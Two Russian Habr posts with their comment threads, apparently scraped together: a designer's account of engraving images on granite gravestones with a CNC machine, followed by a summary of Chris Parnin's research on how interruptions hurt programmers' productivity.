Впрочем, хочу сказать, что «страшно негативной энергетики» я на кладбище не ощущаю. Наоборот, первая зарплата, к примеру, у меня вызвала дикий восторг! В дальнейшем я стал гундеть, что этих денег мне мало, но сейчас не об этом.

Да и работа у меня со свободным графиком, зимой прихожу за зарплатой, которая платится мне стабильно, не смотря ни на что, так что в целом неплохое место.

Но работенка пыльная (гранитная пыль всюду), шумная (в цеху выбивают портреты, буквы, жужжит мой станок), и добираться трудно, да.

«А что делает дизайнер на кладбище?» — спросите вы.
«То же, что делают почти все дизайнеры.» — отвечу я — «Делаю картинки.»

НАДГРОБКИ ТРИДЭ



Я, к примеру, делаю эскизы памятников для клиентов. Самих клиентов я вижу очень редко, все через начальника. Он мне рисует на листиках, что надо, говорит что из какого камня делается, какие коемочки-колевочки, какая форма чего и как.

Я делаю это все в связке Rhino + Maxwell Render, печатаю, несу листик начальнику, он выражает свое довольство или недовольство, после чего я либо иду домой, либо иду переделывать, либо гравировать. А основная моя задача — рисование картинок для их дальнейшей гравировки станочком на гранитных плитах. Итак…

ГРАВИРОВКА



На мои плечи приходятся картинки чего-то, что как-то связано с умершим. Например умер рыбак — нарисуй берег речки с мостиком и камышами. Моряк — рисуй корабль. У человека была Жигули — Жигули рисуй. Летчику самолет. Земли крестьянам, заводы — рабочим.
Портреты я не делаю (сделал всего пару штук включая Лобановского), тонкая работа, люди очень требовательны к портретам. Станок не может обеспечить такое качество, а если его еще и глюканет…

Как получается изображение?

Полированный гранитный камень имеет черный цвет. Без полировки — серый, шершавый.
С помощью алмазной иглы станок создает на полированном памятнике маленькие углубления (сбивает полировку). Свет в них отражается не так, как от полированной поверхности, за счет чего мы видим силуэты.



Станочек проходит строчка за строчкой изображение сверху вниз, называется он «Панно-граф Лидер 600», построен он был в далеком 2006 году (а гарантии уже 4 года как нет, но он до сих пор работает), в те времена я еще даже пары не прогуливал, и уж тем более понятия не имел, какая работа меня ждет.
Станок подключается через LPT порт к компу. Управляется станок он напрямую с компа, станок же, в свою очередь, не имеет даже своей памяти. При включенном требовательном приложении (например, Unreal Tournament 3 или рендеринг в Maxwell Render) станок начинает дергаться, «тупить», что ухудшает качество картинки. Не насилуйте компьютер во время гравировки.

Что делать в Фотошопе?



При подготовке изображения стоит помнить о том, что цветопередача изображения на гранитных плитах все-таки слабовата, оттенки серого получаются плохо. Поэтому важно навести все контуры, детали должны пестрить контрастом (от черного к белому) на экране, иначе на плите получится сплошная серая мазня. Мягкие переходы чаще всего выглядят пятнами. Лучше избегать картинок с глубиной резкости.

Готовый результат надо сохранить в формате bmp, grayscale, 8 bit.
Ничего другого программа управления станком не воспринимает.
Разрешение: 85 пикс/дюйм. Макс размер изображения 58x36 см.

Сложности
Описывать все, с чем может столкнуться дизайнер, при работе с гравировочной машиной в подробностях не буду. Скажу лишь, что изображение должно быть там где надо, не промахнуться, не напечатать вверх ногами (было дело), все детали должны быть хорошо очерчены, игла не сильно прижата или отпущена (она умеет царапать или не добивать местами), станок должен быть крепко зафиксирован (тоже было дело). И лучше недобить, чем перебить, пусть яркости будет чуть меньше, вручную можно догравировать.
А еще никто не застрахован от какого-то внезапного глюка, все бывает.
А если вам подсунули хреновый шнур — то от плохого контакта может быть еще много чего интересного.

Душевный аспект
Умирают люди на земле, так в природе заведено. В этом нет ничего страшного или удивительного. Но бывают и действительно грустные случаи, о которых обычно не задумываешься. Умирают дети, родители просят нарисовать на плите спящего ангелочка.

Теперь вас ничем не удивить.
yosemity
Так суббота уже началась ;)
Marchevsky
А можно так же котика нарисовать? Все любят котиков и вполне тогда пост бы бы пятничным ^_^
yosemity
На граните? Это нынче считается трендово и гламурно?
yosemity
Жестоко и беспощадно :)
Хабр, он такой, у меня тоже куча заминусованных комментариев.
Flammar
«за то»

Flammar
Ага, ага
grayscale, 8 bit.
yosemity
Нет, вы ничего не поняли.
Marchevsky
Когда была во Львове, побродила немного по Лычаковскому Цвынтару. Как-то очень спокойно в таком месте, но на душе тяжело: расматриваешь старинные надгробия и считаешь, сколько было человеку лет, когда он умер. Хотя архитектуру, конечно, было интересно посмотреть.
У Вас нет такой «тяжести» от походов на работу?
yosemity
Нету, совершенно.
Я черствый сухарь.
Marchevsky
Ваш юмор просто зашкаливающий.
limonte
мнение со стороны: ничего здорового в ваших советах нет
Flammar
Умение продать себя это очень хорошее умение
А зависить — плохое…
elliadan
Да что вы до человека-то докопались? Чем он вам не угодил?
sonca
А, это так Вы именно тот человек, которые решает который топик пятничный?
Marchevsky
Зае#@ли со своими традициями. Хабр это технический ресурс. За сиськами и котиками валите нахрен отсюда. И так хабр скатился в говно с кучей нетехнической лабуды, а вам не нравится непятничность поста. Совсем уже поодуревали.

Человек описал техническую сторону процесса. Интересно, без сисек, маркетингово шыта, обсирания Эппл и гугл, холиваров. Отличный пост получился.
yosemity
Обратить на себя внимание — действительно да. Мне нравится быть во внимании, общение с людьми в реале, среди каких-то событий. Мне действительно этого не хватает, с такой то работой :) А пост, откуда вы взяли картинку так и называется: «Самопиар».

А размер члена пусть будет моей страшной тайной за семью печатями :)
Картинку ВК видел: «Сначала расп… дел всем про свои размеры — теперь не знаю, как отказать мужикам, предложившим мне вместе сходить в баню.» Так что секрет :D
Marchevsky
Дедушка Фрейд плачет горькими слезами.
yosemity
По ссылке — это его заготовка для собственной гранитной таблички?
tangro
Все в лучших традициях. Четкие края, темный фон :)
Хороший комментарий, тебе должны посыпаться плюсы :)
yosemity
Ну так первая мысль же, после прочтения поста :)
Никаких намёков и скрытых пожеланий нет, боже упаси.
NikolayMelnik
А размером члена с какой целью интересуешься?
ploop
Я когда-то спросил знакомого врача, не больно ли ему смотреть на тяжело больных, умирающих, не хочется ли разрыдаться при виде, например, ребёнка, которому нельзя уже помочь. На что он сказал, что я могу считать его циником, но если бы он жалел всем сердцем хотя бы одного из сотни, сердце бы это давно разорвалось и не было бы больше у больницы врача, и кому от этого стало бы легче и лучше?
yosemity
Эта тема довольно часто мелькает в сериале Scrubs (Клиника).
VYBGSS
Плохой человек — хороший врач.
Хороший человек — плохой врач.
GrigoryPerepechko
Это и есть краткое содержание сериала Доктор Хаус
SyavaSyava
Да это и не только в кино такое. Есть знакомые «плохие человеки».
Marchevsky
А вот не согласен. Вся семья врачей (мама, папа, бабушки, дедушки). Никого не могу назвать плохими людьми. И в жизни и в семье очень отзывчивы, всегда помогут, сопереживают. Врачи тоже вроде бы хорошие (во всяком случае сужу по карьерной лестнице). Да, безусловно присутствует специфический, чёрный юморок. Особенно у отца, который работает в реанимационном отделении госпиталя. Просто обычно всех этих переживаний практически никто не видит. Кроме семьи. И часто я слушаю родителей, как они рассказывают, как не удалось спасти молодую девушку 20 лет, т.к. туберкулёзная форма устойчива ко всем антибиотикам, которые удалось достать, как привезли молодого парня с огнестрельным ранением головы, неделю боролись за жизнь, но не вытянули… И слёзы бывают. Всё врачи переживают, просто когда работаешь, ты прежде всего профессионал и должен делать свою работу. Ну а я стараюсь по мере возможности дома поддерживать. Понимаю как это тяжело. Наверно видя всё это сам выбрал работу в IT.
lek
Профессии разные нужны, профессии разные важны
SyavaSyava
Рабочим жаргоном поделитесь? Шуточки там, прибауточки какие-нибудь?
Marchevsky
Что на ум пришло: «Лупани розочку/гвоздичку» — сделай гравировку розы/гвоздики. Больше ничего вспомнить не могу.

А над умершими не шутим, не докатились еще :)
SyavaSyava
это к работникам морга.
Error_403_Forbidden
С такой работой парень стал философом. Да, есть о чем думать и всем нам, жизнь короче чем мы ожидаем.
tangro
Классная работа, на самом деле.
Кстати, автор, что вы думаете о кремации?
m08pvv
Автор не думает о кремации :)
cbone
Да ваш пост напомнил мне события начала 1990-х годов:)
Я тогда в 1993-м работал на одном из машиностроительных заводов, и во время очередной инвентаризации в отделе САПР были списаны пару стареньких (не рулонных, а плоских как столик) Плоттеров которые рисовали фломастерами.
Машинки не очень большие (размером ~1x1 метра), но с мощными моторчиками производства середины-конца 1980-х годов. Почему-то в отделе САПР не смогли их подключить к новым IBM AT-совместимым компьютерам с MS Windows на боту, видимо к этим плоттерам не было драйверов (я уже не помню почему), и их решили выбросить.

Так жаль было такое железо, причём рабочее, отнести просто на помойку, и мы продали один из этих плоттеров одному моему знакомому который как-раз занимался (в виде хобби, а потом это стало его профессией) гравировкой по камню и обработкой полудрагоценных камней (причём у него было какое-то начальное IT-шное образование, он знал станки с ЧПУ).
В общим этот товарищ забрал плоттер вместе с документацией к нему, разобрался в командах которые подаются на порт плоттера, подключил его к персоналке, сам написал какой-то несложный драйверок, вставил за место фломастера, какую-то царапающую иглу и в результате стал использовать плоттер для гравировки по камню:)
Это было круто, тогда в середине 1990-х мы такой гравировальной техники в России ещё не видали и тогда это была настоящая инновация!
FullThrottle
К сожалению, по моему опыту — компьютеризация не очень хорошо повлияла на качество продукции.
Деду делали памятник давно, практически вручную, получилось очень хорошо. А вот отцу уже по новым технологиям… Ну, то что надпись вместо прежних качественных шрифтов сделали Times New Roman с непропорциональным(!) масштабированием — может это ещё полбеды и мои личные демоны.
Но вот цифровой портрет явно хуже выглядит, меньше контраст, вблизи очень хорошо видны «пиксели». То есть просто слабо отработанную фотку отправили на станок-принтер, не заморачиваясь.

У других родственников аналогичная технология по красному граниту — так вот через несколько лет поверхность начала светлеть и выветриваться, в результате буквы почти пропали. Заказали их освежение, но помогло слабо…

Ничего не говорю про производство у автора, может там всё отлично. Но общее состояние дел меня что-то не радует.
cbone
Это логично — раньше в этой сфере работали люди, делавшие всё вручную, и цена ошибки и соответственно ответственность были гораздо большими, чем сейчас. Ну и цена продукта, конечно.
А теперь такой вот «дезигнер» (не автор конкретно, а в общем) придёт, пару фильтров в фотошопе в меру своего умения налепит на скачанные из интернета картинки, и нате, получайте «креатифф». Процесс в целом аналогичен «фото на кружке за 5 минут», только ценник другой.
eXod
Сколько интересно стоит такая машинка, я видел как вручную иголками выбивали.
zoommy
www.дэлк.рф/index.htm — современная модификация стоит около 145 тыс рублей судя по информации с этого сайта
0x656b694d
Не дышите гранитной пылью только! Ни в коем случае! Есть такая штука как пневмокониоз. Никакая зарплата не стоит того, чтобы стать инвалидом.
Marchevsky
Это хорошее замечание, спасибо.
Пылью дышат все, но не замечал, чтобы кто-то жаловался на симптомы.
Честно говоря, я хочу переехать в другой город или страну, начать новую жизнь.

На кладбище не страшно, не плохо. Но для меня — очень скучно.
koshak
Посавьте хотя бы вытяжку.
tarya
Может оказаться, что вытяжка не сможет поднять тяжёлую гранитную пыль. Респираторы надо с правильным фильтром, это точно поможет.
ValdikSS
Можно вообще сделать закрытое помещение с мощной вытяжкой в которое заходить в респираторе, а работать в отдельном кабинете.
Marchevsky
В отдельном кабинете с повышенным давлением, чтобы пыль не сосало.
zboris
Сделать вытяжку, которая поднимет любую пыль, не проблема. Вопрос только в создаваемом давлении, которое нужно рассчитать.
ujav
Фишка в том, что микронная пыль достаточно легка, чтобы длительное время оставаться в воздухе. Так она в легкие и попадает. Страшна не та пыль, которую мы видим, а именно тонкие фракции.
SyavaSyava
Там должна быть и общая вытяжка (притом фильтрующая то, что выбрасывает), и у каждого станка непосредственно от рабочей зоны отсос, и осаждение водой, и разделение помещений с созданием подпора, и респираторы индивидуальные.
windreid
Коварство этого заболевания в том, что на симптомы начинают жаловаться спустя довольно длительное время, и тогда уже поздно.
YourSearchExpert
Если в Москве или Питере есть место для творческого человека — готов поменять место работы. Но только не на кладбище!
Novikov
Когда строители приходили делать в доме капремонт и долбили кирпич между этажами для замены труб, стояло облако из мелкой дисперсии кирпича-цемента. Делали они это без респираторов, без масок, просто так.

Дважды настоятельно предложил маски, дважды категорически отказались. Подробно объяснил почему так делать нельзя делать — всё пофиг. Когда сказал «ну и х*й с вами, смертники» — обиделись, но маски так и не надели. Ходили потом во дворе цементом харкали.
Marchevsky
В любой маске (даже достаточно легкой) очень неудобно заниматься тяжелой физической работой. Да и в принципе, вообще любой физической работой более-менее длительное время. Через некоторое время начинает нехватать воздуха, а чуть позже начинает «плыть» восприятие.
Выходом тут могло бы быть использование спец. аппаратов, добавляющих кислород во вдыхаемый воздух. И полностью закрытой маски, т.к. для глаз такая пыль тоже очень вредна.
SpiritOfVox
Почти все подобные маски бесполезны для защиты от мелкой пыли. В той же Германии в таких условиях используют для защиты органов дыхания нечто очень напоминающее акваланг — т.е. полностью автономная подача воздуха извне.
eps
Эти многотонные оградки, тумбы просто омерзительны. Российские кладбища больше походят на табор циркачей, а не на место захоронения умерших. Каждая могила — на свой лад и цвет. Каждый русский покойник — фараон в миниатюре. Ему обязательно нужно огородиться, что бы другой не смог зайти на его территорию.
Сравните:


А гравюры с самолетами и жигулями — это вообще фейспалм.
SpiritOfVox
Тут не только покойники. Русским людям вообще свойственно возводить вокруг себя заборы. Сравните хотя бы любой квартал с частными домами «у них» и у нас.
Stas911
а с чего вы взяли, что «у них» заборов между домами не водится? Сдается, вы особо по странам-то не катались, размышляете теоретически.
Nedder
Представьте себе лондонский пригород. Если бывали в тех краях, то представите сплошные ряды двухэтажных домов дороги. А если еще и в гости заходили к кому-нибудь, то узнаете, что за каждым из таких домиков есть небольшой садик.

И заборы там — «о-го-го».

ну я не к этому, а к тому, что народ слишком любит вот это самое «у них, да у нас».
Novikov
Не особо, да. Но в европах бывал и двухметровых глухих заборов в трех метрах от дома с колючей проволокой по верху не видел.
Novikov
если взять какой-нибудь неблагополучный пригород того же Лондона или, еще хуже, Манчестера, то будут вам и глухие стены, и проволока, и злая собака, и хозяин-хамло, и шпана в спортивной одежде. И пройтись вечером по улице будет страшно.

А в благополучных местах что в России, что в Литве, что в Белоруссии я вроде как проволоки тоже не видел.

Какая напрашивается мораль? :)
Novikov
Ты суслика видишь? А он есть!
Весь из себя курортный остров Mallorca, где-то в курортном же городке Illetas:
Скрытый текст

Marchevsky
Полностью согласен.
А если пойти дальше, то я вообще не понимаю, зачем возиться с телом? В нем уже никого нет.
shara
Я так понимаю, что кладбище делается не для умерших, а для живых.
Людям нужно место «памяти», место куда они придут вспоминать, думать и сопереживать.
Я люблю и воспринимаю кладбище, именно как место памяти.

В России зона комфорта низкая, у нас в квартире может быть отличный ремонт, а в подъезде не быть света и валяться окурки, мы не особо понимаем, что такое коллективная зона ответственности. Мне кажется тоже самое и с кладбищем. Если бы за кладбищами был бы централизированный уход, места бы были хорошо оборудованы, радовали взгляд приятной травой и т.д. и т.п. то были бы и желающие туда отвести тела своих родственников, а так да, наша ментальность заставляет нас отгородится и ездить на свои маленькие семейные гробницы.
isden
Если уж продолжить мысль, то память в голове.
А гранитная плита лишь освежает её своим портретом.
Таким образом, храня фотку близкого умершего человека на компьютере — мы можем освежать память в голове не выходя из дому.
И не расставаясь с деньгами.

Вы не сильно эту мысль распространяйте, пока я оттуда не уволился :D
Nedder
все верно, дело в том, что есть ассоциации. и, вам дизайнерам, возможно это не близко, но бывают и отличные от зрения органы чувств и другие кроме зрительных ассоциации. Местом памяти может быть и не кладбище вовсе, а как, например, у меня место памяти моего деда — скамейка в городском сквере.
+ я еще указал аспект сопереживания (например, с родствениками или друзьями), конечно, можно выбрать другие ритуалы, но есть традиция кладбищ.
И да, если объеденить мою и вашу мысль, то можно прийти к концепции виртуального кладбища, где хранились бы символы памяти (фото памятники, модели для дополненной реальности, аудио беседы с умершим или об умершем, средства аудио, фото и видео общения и т.д.) тогда при условиях межпланетных полетов можно будет подключиться к этому виртуальному кладбищу и провести все нужные людям ритуалы. Кстати уже сейчас можно замутить стартап цифрового кладбища =)
igrishaev
В цивилизованых странах, сейчас это решается кремированием и строительством колумбарных стенок, и выглядит преличнее и места занимает в разы меньше, что особенно актуально в мегаполисах.
lonelylockley
Мне тема кладбища совершенно неинтересна.
Все, что интересует меня в этой работе — так это деньги. И грузят при этом мало.
VlK
Недавно, гуляя по кладбищу, рассуждал с сестрой на эту тему. Вспоминали, что раньше памятники делали простые и на могилах садили деревья. Когда кладбище устаревало — оно превращалось в парк. Органика человека переходила в органику дерева и возвращалась в круговорот жизни. Сейчас же стоят гранитные пьедесталы, и трупы томятся в герметичных гробах — такими темпами скоро вся Земля будет заставлена памятниками.

Похоже, арабы не такие уж дураки, когда хоронят в савоне без гробов, а индусы — сжигают. В азии проблема перенаселения возникла уже давно.

Ну а по теме. Искал недавно фирму, которая сделает гравировку стеллы на станке с ЧПУ, и долго не мог найти — все конторы рисуют вручную «бормашинками». А у меня уже был файл в векторном формате, хотел именно чтоб на станке сделали. В итоге еле нашел на форуме мастеров graverstone.ru. Делают недорого в Новосибирске лазером, высылают транспортной компанией, могу дать контакт, кому нужно.
kAIST
Полностью согласен. Запущенные могилы напоминают помойку. Я за простоту.
VlK
Не только чтоб не зашли — отгораживаются в надежде, что так не засрут, но всё равно не работает.
Причём интересно, что обладатели самых высоких заборов (применительно к кладбищу — родственники обладателей) больше всего срут остальным, у кого заборы поменьше — вот и идёт соревнование заборов.
Плюс традиционные понты — это вообще первооснова нынешней российской культуры. На понтах построено всё, они основа и причина всего вокруг. Тут фараоны очень в тему, вы правы — они знали толк в понтах :)
lonelylockley
Российские кладбища больше походят на табор циркачей, а не на место захоронения умерших.

ничего удивительного — жлобство (в широком смысле слова) оно и на кладбище жлобство
VlK
А гравюры с самолетами и жигулями — это вообще фейспалм.

Да ладно гравюры. А так?
Maccimo
Представляю как офигеют археологи будущего.
Marchevsky
это ж просто пиздец какой-то прям ярмарка тщеславия!

Хочу сказать что скульптор поработал на славу!!! аффигенно получилось, но безсмысленно и безпощадно
developer
Буквы на номере наводят на мысль о фейке.
Marchevsky
Взято отсюда. Там ещё пара фоток с других ракурсов.
developer
То есть, кириллическая Ф на госномере нового российского образца никого не смутила? Фейк-не в плане«это не фото, это рендер», а «у него никогда не было такой машины»
Agent_Smith
Возможно, скульптор увековечил свои инициалы?
Marchevsky
Вполне вероятно, как пишут в комментариях по ссылке, буквы кириллицы вставлены сознательно, чтобы не засветить реальный номер. И вряд ли новому владельцу номера понравилось бы увидеть его на надгробии.
robux
Судя по памятнику он умер от обвала скалы.
zag2art
Духовно!
SyavaSyava
во первых далеко не все российские клабдища такие как вы пишите
а во вторых, у «них» ещё похлеще бывает

вот например в Милане, там огромное клабище и всё подобного типа, только больше на религиозный манер, хотя бывают могилы и с оградками и со склепами отдельными и так далее

это всё скорее от самого кладбища зависит, видимо есть какие традиции на кладбищах тоже
ababich
В Генуе расположено одно из красивейших кладбищ мира — Стальено. Сам там залип на несколько часов, жаль, что не было больше времени. Вот вид одного из коридоров:
Redy
О, копирастный холивар!
Пусть авторы собираются и ходят по кладбищам, что могу сказать? :)
lek
абсолютно честно, он готов отработать надгробиями для правообладателей
developer
1. Начнем с того, что на пока еще моей работе нету интернета. Да и нет необходимости.

2. В подавляющем большинстве случаев мне приносят фотографии в бумажном виде. Те же Жигули умершего. Часто, в жутком качестве (зачастую снятую на засвеченную пленку времен 70-х, выцвевшую фотографию без фокуса), и приходится планшетиком наводить все контура, и угадывать формы.

3. Мне приносят картинки, распечатанные на принтере. Моя задача — их перенести на плиту. Я не имею возможности проверить их «копирастичность». Не запрещал ли автор их распространять?

4. Никто не запрещает распечатать фотку, скачанную с нета, и повесить на стене. Гранитная плита — это аналог распечатанной фотки. Когда мы идем в копицентр распечатать фотографию — они не следят за тем, есть ли авторские права у этой фотографии. Если эта фотка была бы запрещена для распространения — клиент бы заказал другую фотку. И заметьте, для себя. Кладбище — не музей.

5. Посмотрите на рекламу кругом: на плакаты, полиэтиленовые пакеты, листовки, видеоролики…
freeznah
А я б хотел посмотреть, как мои фотоньки смотрятся в граните. Каждый новый носитель — оно ж интересно и необычно.
Redy
Придет время…
freeznah
=D
vanfukov
Календарик что, сгниёт со временем вместе с автором, а на граните может и откопают когда-нибудь археологи и в музей отправят на веки вечные ;)
Redy
Последний год регулярно попадаю в камнерезку, чтобы компьютеры почистить. Два постоянно работающих панографа больших. Один маленький в углу. Пыли внутри компьютеров — как и везде. Но пыль каменная, даже кулера крутятся как положено. Так что для компьютеров условия довольно здоровые, значительно лучше домашней. :)
DIHALT
Так вот кто это делает.
Novikov
теперь я знаю как делается принт на граните. Будет чем поделиться с детьми)
mag
Спасибо за пост. Очень вовремя. Как раз вчера вызвался заняться памятником дедушке, эх.
eLBeatzzz
Слышал такую штуку, что в Армении (?) есть (была) традиция, что каждый мужчина по достижению совершеннолетия сам изготавливает сбе надгробный камень. Какой успел сделать, такой и будет.
evdm0011
Скажите, а что делают с «запоротыми» плитами? Срезают верхний слой и полируют снова? Полностью или только испорченное место?
Marchevsky
Камень на полировку — привозят «отформатированную плиту» :)
Полностью или нет — зависит от рисунка. К примеру у вас картинка и дата на памятнике. Запорол картинку — смысл полировать дату? Правда, полировка может «задеть» дату, если она близко к рисунку (меньше 10-15 см).
evdm0011
Насколько долговечен рисунок получается? Все таки в этих углублениях капли воды, потом заморозки = эрозия.

И да, в этой цепочке начальник как-то лишний.
Во многих компаниях программистам запрещают работать в наушниках или отвлекают их по мелким вопросам. Вероятно, причина кроется в плохой информированности менеджеров и других сотрудников, насколько вредно так делать.

Крис Парнин (Chris Parnin) из технологического института Джорджии решил восполнить этот недостаток и опубликовал чрезвычайно насыщенную статью со ссылками на различные исследования по этой теме.

Для начала, несколько фактов, которые относятся ко всем работникам интеллектуального труда. Задача, прерванная по ходу выполнения, занимает в два раза больше времени и содержит вдвое больше ошибок, чем та же задача, которая выполнялась без прерывания (Czerwinski:04). Офисные сотрудники вынуждены отвлекаться при выполнении 57% задач (Mark:05). Опросы говорят о том, что сотруднику требуется в среднем 15 минут, чтобы вернуться в нормальный ритм после того, как его отвлекли (vanSolingen:98).

Крис Парнин провёл собственное обширное исследование именно среди программистов (pdf). Было проанализировано около 10 000 рабочих сессий в Eclipse и Visual Studio от 414 разработчиков. Вот что обнаружилось:

• Программисту требуется от 10 до 15 минут, чтобы начать писать код после возобновления работы.

• Программисту обычно удаётся всего одна 2-часовая рабочая сессия без отвлечений в течение рабочего дня.

• В большинстве случаев после возобновления работы программист прокручивает проект в определённые области для восстановления контекста.

• Программисты вставляют специальные ошибки компилирования в качестве «напоминаний».

• Diff исходного кода служит как последний шанс восстановить события, но может быть громоздким для этой задачи.

Крис Парнин с коллегами изучили, в какие рабочие отрезки хуже всего отвлекать программиста. Исследования с замеров диаметра зрачков показали, что наибольший вред несёт прерывание работы в период максимальной загрузки памяти.



При этом программисту требуется как минимум 7 минут, чтобы перейти из состояния максимальной активности памяти в состояние минимальной активности. Экстраполировав эти результаты на рабочие сессии программистов, Парнин обнаружил, что хуже всего отвлекать программиста во время выполнения следующих задач:

  • Во время изменения кода, особенно во время одновременного изменения кода в нескольких местах.
  • Активность по навигации и поиску.
  • Понимание потока данных и порядка выполнения инструкций в коде.
  • Окно IDE не в фокусе.




Крис Парнин в своём блоге описывает некоторые особенности работы человеческой памяти и публикует предварительные результаты функциональной магнитно-резонансной томографии программистов во время работы.
dMetrius
Что вы меня отвлекаете своими статьями?
Firz
Зачем вы открыли хабр?
ghosthope
Зачем создали Хабр? Он меня отвлекает)
vladimir_gorobets
Неделю назад открыл для себя замечательное расширение под Хром SiteBlock. На работе прописал в запрещенные десятку самых посещаемых мною сайтов, на которых ежедневно убивается куча времени.

В итоге, за неделю сделал намного больше, чем за месяц! Так что очень многое зависит от каждого из нас.
ef_end_y
Путь к деградации с кажущимися улучшениями
valkiriy
А смысл? Если хватает выдержки не выключать это расширение, то хватит выдержки и не заходить на эти сайты, не так ли?
Mithgol
Все, все торчат.

И некоторые ужé сторчались.
format1981
А ты хабр тоже прописал?
vladimir_gorobets
Да, хабр тоже в этом списке т.к. на него в среднем в день тратилось час-полтора. Там же facebook, vk, twitter, одноклассники, ukr.net, городской сайт, 4pda, roadcontrol и еще парочка.
imwode
>еще парочка

НА РАБОТЕ?
nochkin
Получается что комментарии на Хабр пишет то же какое-то расширение?
serafims
40 минут за какой период? час, день?
MikhailEdoshin
Там и период можно выбрать, по умолчанию 24 часа.
So1
Что мне мешает включить сайт обратно в самом SiteBlock'е?
maxic
пароль
MikhailEdoshin
Надо, кстати, саму программу сделать бесплатной, а вот разблокирование сайта — платным :)
Defite
Сила воли, я смотрю, у вас совсем отсутствует.
MikhailEdoshin
Известный психолог Скиннер в детстве столкнулся с проблемой — мать требовала, чтобы перед тем, как спуститься к завтраку, Скиннер повесил пижаму в шкаф. Ребенок, естественно, всякий раз об этом напрочь забывал. В конце концов он соорудил механизм: когда пижамы не было в шкафу, в дверной проем опускалась табличка «Повесь пижаму». Как только пижама попадала на место, табличка убиралась вверх.

Один преподаватель обычно рассказывает этот случай своим студентами и отмечает, что студенты делятся на две группы — некоторым решение нравится, некоторые же считают, что так нечестно и что Скиннер должен был проявить силу воли и научиться вешать пижаму без механических напоминаний.

Вы, очевидно, из второй группы :)
Defite
Я не знаю, к чему вы приводите эту историю и делаете обо мне выводы, но скажу только одно: отсутствие воли у программиста — это очень и очень хреново.
MikhailEdoshin
Скажите, нужно ли развивать волю до такой степени, чтобы каждый день вручную делать резервную копию важных файлов?
Defite
Не нужно утрировать :) Я говорю о тех случаях, когда это действительно нужно. Изначально я откомментировал сообщение про плагин, блокирующий доступ к сайтам, потому что автор не может побороть себя и не открывать эти сайты. Вы же уходите в совершенно иную степь.
MikhailEdoshin
Мне, напротив, кажется, что главное — решить задачу, а уж как именно — это как человеку удобнее. Кто-то волю тренирует, как у Лескова в «Железной воле», кто то напоминалки ставит. А у вас как бы подразумевается, что воля — это круто, а напоминалки — так, для лузеров.
Defite
Опять же, мы не про это сейчас и я ни слова не сказал про напоминалки.
MikhailEdoshin
Ну запрещалки — не вижу принципиальной разницы, все одно инструмент, частичная автоматизация. Напоминалка, о времени напоминает, а запрещалка — о принятом решении. Слабая воля — это если запрещалку отключить. Да и то это не столько слабая воля, сколько признак, что проблема более серьезна, чем кажется.
VolCh
Чем программист в плане необходимой силы воли отличается от других людей? Реально интересно. Всегда думал, что сила воли прежде всего влияет на межличностные отношения, а в профессиональном плане программисту они нужны минимально.
MikhailEdoshin
А история, кстати, к тому, что люди, встречаясь с таким выбором, как правило, выбирают либо сторону воли, либо, эмм… хитрости, и потом ее не меняют, и с трудом понимают, как люди могут выбрать другую. Я не совсем хорошо это описал, но суть именно в этом. Это что-то вроде врожденной склонности или какой-то максимы, заложенной в раннем детстве.
AccessGranted
Я бы посоветовал развивать силу воли и концентрацию. Как правила такие гуляния по различного рода сайтам из-за невозможности сосредоточиться на задаче. В судентческие годы я мог проработать над программой до 10 часов подряд практически без отрыва. Сейчас уже конечно не так.
VolCh
Я бы посоветовал искать мотивацию увеличивать производительность труда. Доказывать самому себе, что у тебя есть сила воли тоже мотивация, но как показывает мой личный опыт, малоэффективная в длительной перспективе.
Weageoo
Хм, а у нас в Windows есть hosts.
maxic
Линк статьи надо разослать всем клиентам
Andrey_Zentavr
Мне кажется не только программистов, но так же и админов нельзя отвлекать.
Да и любых других сотрудников умственных профессий, где необходимо системно обдумать поставленные задачи.
Поэтому я уже ненавижу открытый офис с перегородками, спасаюсь от людей в серверной, но там дует, шумит и не удобно спать на полу.
steven
Под шум серверов вполне нормально спать. Я пару раз вырубался в серверной :). Главная проблема обычно это довольно низкая температура.
divanikus
Спальный мешок! Компактно складывается, убирается, при необходимости достаем и делаем чудный перерывчик!
MAXXL
Особенно если спать под фальш полом, то и не заметит ни кто.
FFire
Настоящие профессионалы спят над фальш-потолком.
matiouchkine
на баше прочитал про коммент, вспомнил документальное тому подтверждение ( если кто не читал Стивена Леви), пара цитат из его книги
Хакеры: Герои компьютерной революции
У SAIL хакеров не заняло много времени, чтобы выяснить, что промежуток между подвесным потолком и собственно крышей может быть вполне комфортабельным местом для сна, и некоторые из них так и жили там, в течение многих лет. В начале 70 х годов один системный хакер вообще жил в неисправном автомобиле, припаркованном невдалеке от здания. Он раз в неделю спускался на велосипеде в Пало Альто за едой.

Они могли идти туда, куда они хотели. Они могли входить в офисы, пролазить над фальш потолком, сдвигая в сторону одну из плит; после чего в комнате появлялись «коммандос» с карандашами в карманах рубашек. Не всегда эти вояжи заканчивались благополучно однажды ночью один из хакеров повредил себе спину, когда одна из плит сломалась под его весом, и он свалился в офис Минского. Но чаще, Нофтскеру попадались только случайные отпечатки подошв на стене. Или, иногда, заходя в свой офис, закрытый на замок, он обнаруживал хакера, прикорнувшего вздремнуть на софе.
bliznezz
Есть одноюнитовое исполнение?
Renius
Более того, этот шум лично меня убаюкивает.
Dyr
Спать можно даже в дизель-генераторном отсеке. Вопрос в том насколько хочется спать. Ко всему привыкаешь, если спал в дизель-генераторной, то просыпаешься почти в тишине и потом еще час-полтора живешь в тишине (в сером шуме).
compudza
А самое интересное, что когда источник шума вроде наконец-то замолкает, то просыпаешься с тревогой. Даже если это неразличимый на дневном, и даже вечернем фоне шум кулеров в системнике.

VolCh
Да, полностью согласен, опять-же на примере из работы на буксирах-толкачах: на вахте можно было поспать, в качестве будильника было изменение фонового шума маршевых двигателей — снизились обороты (стало тише), сразу просыпаешся.
compudza
иногда даже лучше просто шум серверов, кондера и т.п., чем чей-то трепет за соседним столом от коллег…
auvn
лепет или трёп
«трепет от коллег» — ну, если вы годзилла…
KY05
Я все школьные годы спа в комнате со старым советским холодильником. После этого в довольно сильном шуме засыпается без проблем.
Гораздо тише мешают спать тихие разговоры в вполголоса, или телевизор — неосознанно улавливаешь знакомые отрывки и пытаешься прислушаться.
lanseg
Гораздо что?
ivvi
Не успел отредактировать случайный пост. Следует читать «Гораздо сильнее мешают спать...»
lanseg
В целом то всё так, как написано в статье.
Но мне всё-таки кажется, что иногда даже полезно отвлекаться и переключаться — может родиться хорошее и принципиально иное архитектурное решение например.
За собой уже замечал:
— долго думаешь над важной и сложной проблемой
— в процессе понимаешь, что все мысли по большому счету крутятся вокруг одной идеи
— пошёл отвлекся/переключился
